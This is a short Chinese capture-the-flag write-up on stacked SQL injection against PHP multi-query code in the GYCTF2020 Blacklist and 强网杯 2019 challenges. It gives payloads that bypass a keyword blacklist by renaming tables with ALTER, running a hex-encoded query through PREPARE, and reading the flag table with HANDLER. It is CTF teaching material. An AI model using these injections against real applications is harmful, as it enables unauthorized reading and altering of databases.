标签:alt match 表名 multi 过滤 table href pdo from
mysqli_multi_query()
这种支持多语句执行的函数PDO::MYSQL_ATTR_MULTI_STATEMENTS
设置为true
时,可以执行多语句以[GYCTF2020]Blacklist为例
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject)
show databases;
show tables;
show columns from `table_name`;
此时拼接sql语句的代码肯定是固定从一个表里取出某列的数据,这时候我们修改表名,取出数据来
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
但是一定要先改原表名
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
用16进制绕过
在这次比赛中set
,rename
都被过滤,去翻文档可以找到https://dev.mysql.com/doc/refman/8.0/en/handler.html
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
[GYCTF2020]Blacklist
[强网杯 2019]随便注
标签:alt match 表名 multi 过滤 table href pdo from
原文地址:https://www.cnblogs.com/20175211lyz/p/12356678.html